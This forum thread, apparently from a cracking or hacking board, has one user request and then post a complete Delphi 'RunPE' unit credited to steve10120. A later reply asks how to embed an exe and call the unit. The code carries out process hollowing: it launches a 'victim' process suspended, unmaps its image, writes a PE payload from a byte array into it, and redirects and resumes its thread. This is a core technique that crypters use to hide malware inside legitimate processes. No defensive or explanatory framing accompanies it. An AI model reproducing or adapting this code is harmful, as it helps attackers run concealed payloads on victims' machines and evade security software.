+ Reply to Thread
Results 1 to 4 of 4
  1. #1
    Junior Member
    Join Date
    Apr 2009
    Posts
    23

    (REQ) RunPe in delphi

    since somesite is down i cant find the translation made by steve10120, so anyone can upload it?

    thanks

  2. #2
    Junior Member
    Join Date
    Apr 2009
    Posts
    23
    is on now, thanks anyway

  3. #3
    Junior Member
    Join Date
    Apr 2009
    Posts
    23
    Code:
    { uRunPE
    
      Author: Anonymous
      Description: Run Executables as Byte Arrays
      Original: http://www.freevbcode.com/ShowCode.asp?ID=8385
      Ported by: steve10120
      Website: http://somesite.org
      History: First try
     
    }
    
    unit uRunPE;
    
    interface
    
    uses Windows;
    
    type
      TByteArray = array of Byte;
    
    function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
    function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';
    
    implementation
    
    procedure Move(Destination, Source: Pointer; dLength:Cardinal);
    begin
      CopyMemory(Destination, Source, dLength);
    end;
    
    function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
    var
      IDH:        TImageDosHeader;
      INH:        TImageNtHeaders;
      ISH:        TImageSectionHeader;
      PI:         TProcessInformation;
      SI:         TStartUpInfo;
      CONT:       TContext;
      ImageBase:  Pointer;
      Ret:        DWORD;
      i:          integer;
      Addr:       DWORD;
      dOffset:    DWORD;
    begin
      Result := FALSE;
      try
        Move(@IDH, @bFile[0], 64);
        if IDH.e_magic = IMAGE_DOS_SIGNATURE then
        begin
          Move(@INH, @bFile[IDH._lfanew], 248);
          if INH.Signature = IMAGE_NT_SIGNATURE then
          begin
            FillChar(SI, SizeOf(TStartupInfo),#0);
            FillChar(PI, SizeOf(TProcessInformation),#0);
            SI.cb := SizeOf(TStartupInfo);
            if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
            begin
              CONT.ContextFlags := CONTEXT_FULL;
              if GetThreadContext(PI.hThread, CONT) then
              begin
                ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret);
                NtUnmapViewOfSection(PI.hProcess, @Addr);
                ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
                WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret);
                dOffset := IDH._lfanew + 248;
                for i := 0 to INH.FileHeader.NumberOfSections - 1 do
                begin
                  Move(@ISH, @bFile[dOffset + (i * 40)], 40);
                  WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret);
                  VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr);
                end;
                WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret);
                CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, CONT);
                ResumeThread(PI.hThread);
                Result := TRUE;
              end;
            end;
          end;
        end;
      except
        CloseHandle(PI.hProcess);
        CloseHandle(PI.hThread);
      end;
    end;
    
    end.
    uploaded
    Last edited by cracksman; 17-12-2011 at 20:31. Reason: code tags

  4. #4
    Junior Member
    Join Date
    Oct 2008
    Posts
    27
    Hi,

    Please, could you post a example to understand store a exe and
    how call this function ?

Thread Information

Users Browsing this Thread

There are currently 2 users browsing this thread. (1 members and 1 guests)

  1. r3s3t

Similar Threads

  1. Replies: 7
    Last Post: 09-04-2009, 22:25

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.